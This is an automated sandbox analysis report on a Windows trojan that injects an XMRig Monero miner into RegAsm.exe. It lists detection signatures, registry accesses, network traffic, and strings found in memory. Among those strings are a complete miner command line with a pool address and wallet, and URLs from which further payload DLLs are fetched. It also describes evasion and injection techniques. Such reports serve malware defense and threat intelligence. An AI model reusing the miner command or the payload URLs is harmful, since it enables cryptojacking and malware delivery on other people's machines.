Windows Analysis Report
SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Analysis ID:	1546576
MD5:	11b29218685a3c58cab85c9d39d52dce
SHA1:	45eafe726262c18df3ac8d96ec8ecad979d3f9ca
SHA256:	29c2b7c56ba64de00927c8aa2a4b41cead21000b709cb7470b6de6f2370c9178
Tags:	exe
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected PersistenceViaHiddenTask

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Execution of Powershell with Base64

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe

Avira: detection malicious, Label: HEUR/AGEN.1358722

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe

ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Virustotal: Detection: 55%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 00000004.00000002.4115219254.000001DC43F58000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4112743576.000001DC42495000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4115219254.000001DC43F8E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: RegAsm.exe, 00000004.00000002.4115219254.000001DC43F58000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: -o stratum+ssl://pool.supportxmr.com:443 -u 42uWctV1usG39y3ctaQfaggdnRyDtMPXkSoK3xJUcroCJmdwzVLEZt8cdopiqqqZs7E1TdnbyeAZcUzpaVYpXmcD6Pfw7RT.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC106DB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681802941.000001FC71D90000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10753000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC106DB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681802941.000001FC71D90000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10753000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CACC7000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CACC7000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp

Creates COM task schedule object (often to register a task for autostart)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 147.189.173.36:1010

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /attachments/1301574231573663746/1301575510102507551/plugin3.dll?ex=6724fa27&is=6723a8a7&hm=de75ef4bcda6b9340b0357973edbc8ae95f493136ccb6eede12840c8370e40e0& HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 162.159.135.233 162.159.135.233
Source: Joe Sandbox View	IP Address: 162.159.135.233 162.159.135.233

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49743
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49793

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: fla1337.site
Source: global traffic	DNS traffic detected: DNS query: cdn.discordapp.com

Source: powershell.exe, 00000001.00000002.1786095523.000001D13CA5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1731931353.000001D12CC1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1803041646.000001D145052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.micO
Source: powershell.exe, 00000001.00000002.1731931353.000001D12CC1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1675197443.000001FC00346000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1731931353.000001D12C9F1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4115219254.000001DC43E21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1731931353.000001D12CC1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000001.00000002.1731931353.000001D12CC1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1731931353.000001D12C9F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: RegAsm.exe, 00000004.00000002.4115219254.000001DC43F8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1301574231573663746/1301575510102507551/plugin3.dll?ex=6724fa
Source: powershell.exe, 00000001.00000002.1786095523.000001D13CA5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1786095523.000001D13CA5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1786095523.000001D13CA5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: RegAsm.exe, 00000004.00000002.4115219254.000001DC43F58000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4115219254.000001DC43F8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/k541xr.dll
Source: RegAsm.exe, 00000004.00000002.4115219254.000001DC43F58000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4112743576.000001DC42495000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4115219254.000001DC43F8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/k541xr.dll0
Source: RegAsm.exe, 00000004.00000002.4115219254.000001DC43F8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/kwfxr7.dll
Source: powershell.exe, 00000001.00000002.1731931353.000001D12CC1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CACC7000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CACC7000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CACC7000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000001.00000002.1801867950.000001D144F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.535umer
Source: powershell.exe, 00000001.00000002.1786095523.000001D13CA5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CACC7000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Target.exe, 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CAD17000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000003.00000002.1723437634.000001B0CACC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary

.NET source code contains very large array initializations

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, Schema.cs

Large array initialization: ForgotSchema: array initializer size 673584

Abnormal high CPU Usage

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 49%

Contains functionality to call native functions

